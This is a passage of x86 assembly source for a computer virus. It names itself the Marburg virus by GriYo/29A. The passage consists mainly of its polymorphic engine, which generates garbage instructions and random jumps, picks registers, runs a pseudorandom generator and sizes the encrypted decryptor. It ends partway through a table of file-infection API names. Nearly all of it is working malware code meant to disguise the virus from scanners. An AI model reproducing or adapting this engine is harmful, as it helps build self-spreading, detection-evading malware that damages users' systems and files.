;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_push_g_pop: ;Note that garbage generator can call itself in a
|
|||
|
|
;recursive way, so structures like the following
|
|||
|
|
;example can be produced
|
|||
|
|
;
|
|||
|
|
; push reg_1
|
|||
|
|
; ...
|
|||
|
|
; push reg_2
|
|||
|
|
; ...
|
|||
|
|
; pop reg_2
|
|||
|
|
; ...
|
|||
|
|
; pop reg_1
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
call get_rnd_reg
|
|||
|
|
mov al,50h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
call gen_garbage
|
|||
|
|
call get_valid_reg
|
|||
|
|
mov al,58h
|
|||
|
|
or al,byte ptr [ebx+REG_MASK]
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate unconditional jumps
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_jump_u: mov al,0E9h
|
|||
|
|
stosb
|
|||
|
|
push edi
|
|||
|
|
stosd
|
|||
|
|
call gen_rnd_block
|
|||
|
|
pop edx
|
|||
|
|
mov eax,edi
|
|||
|
|
sub eax,edx
|
|||
|
|
sub eax,00000004h
|
|||
|
|
mov dword ptr [edx],eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate conditional jumps
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
g_jump_c: call get_rnd32
|
|||
|
|
and ah,0Fh
|
|||
|
|
add ah,80h
|
|||
|
|
mov al,0Fh
|
|||
|
|
stosw
|
|||
|
|
push edi
|
|||
|
|
stosd
|
|||
|
|
call gen_garbage
|
|||
|
|
pop edx
|
|||
|
|
mov eax,edi
|
|||
|
|
sub eax,edx
|
|||
|
|
sub eax,00000004h
|
|||
|
|
mov dword ptr [edx],eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate one byte garbage code that does not change reg values
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_save_code: mov eax,end_save_code-tbl_save_code
|
|||
|
|
call get_rnd_range
|
|||
|
|
mov al,byte ptr [ebp+tbl_save_code+eax]
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Initialize register table
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
init_poly: ;We can call this routine from lots of places, so
|
|||
|
|
;take care about direction flag
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
|
|||
|
|
;Initialize random number generator
|
|||
|
|
;Use current day + hour as seed
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+time_day]
|
|||
|
|
mov dword ptr [ebp+rnd32_seed],eax
|
|||
|
|
|
|||
|
|
;Initialize register table
|
|||
|
|
|
|||
|
|
lea esi,dword ptr [ebp+tbl_startup]
|
|||
|
|
lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
|
|||
|
|
mov ecx,00000007h
|
|||
|
|
loop_init_regs: movsb
|
|||
|
|
inc edi
|
|||
|
|
loop loop_init_regs
|
|||
|
|
|
|||
|
|
;Clear recursive level counter
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+recursive_level],ecx
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get a ramdom reg
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
get_rnd_reg: mov eax,00000007h
|
|||
|
|
call get_rnd_range
|
|||
|
|
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
get_valid_reg: call get_rnd_reg
|
|||
|
|
mov al,byte ptr [ebx+REG_FLAGS]
|
|||
|
|
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
|
|||
|
|
jnz get_valid_reg
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Load ecx with crypt_size / oper_size
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE
|
|||
|
|
xor ecx,ecx
|
|||
|
|
mov cl,byte ptr [ebp+oper_size]
|
|||
|
|
shr ecx,01h
|
|||
|
|
or ecx,ecx
|
|||
|
|
jz ok_2ecx
|
|||
|
|
shr eax,cl
|
|||
|
|
jnc ok_2ecx
|
|||
|
|
inc eax
|
|||
|
|
ok_2ecx: mov ecx,eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Generate a block of random data
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
gen_rnd_block: ;Generate up to 27 random bytes
|
|||
|
|
|
|||
|
|
mov eax,00000004h
|
|||
|
|
mov ecx,eax
|
|||
|
|
call get_rnd_range
|
|||
|
|
add ecx,eax
|
|||
|
|
cld
|
|||
|
|
|
|||
|
|
rnd_fill_loop: ;Fill loop, get random dword
|
|||
|
|
|
|||
|
|
call get_rnd32
|
|||
|
|
stosd
|
|||
|
|
loop rnd_fill_loop
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Linear congruent pseudorandom number generator
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
get_rnd32: push ecx
|
|||
|
|
push edx
|
|||
|
|
mov eax,dword ptr [ebp+rnd32_seed]
|
|||
|
|
mov ecx,eax
|
|||
|
|
imul eax,41C64E6Dh
|
|||
|
|
add eax,00003039h
|
|||
|
|
mov dword ptr [ebp+rnd32_seed],eax
|
|||
|
|
xor eax,ecx
|
|||
|
|
pop edx
|
|||
|
|
pop ecx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Returns a random num between 0 and entry eax
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
get_rnd_range: push ecx
|
|||
|
|
push edx
|
|||
|
|
mov ecx,eax
|
|||
|
|
call get_rnd32
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx
|
|||
|
|
mov eax,edx
|
|||
|
|
pop edx
|
|||
|
|
pop ecx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
;Virus initialized data
|
|||
|
|
|
|||
|
|
;Copyright notice
|
|||
|
|
|
|||
|
|
db "[ Marburg ViRuS BioCoded by GriYo/29A ]"
|
|||
|
|
|
|||
|
|
;Array of RVAs to function names
|
|||
|
|
|
|||
|
|
viral_functions equ this byte
|
|||
|
|
|
|||
|
|
dd offset szCreateFileA
|
|||
|
|
dd offset szCreateFileMap
|
|||
|
|
dd offset szMapViewOfFile
|
|||
|
|
dd offset szUnmapView
|
|||
|
|
dd offset szCloseHandle
|
|||
|
|
dd offset szFindFirst
|
|||
|
|
dd offset szFindNext
|
|||
|
|
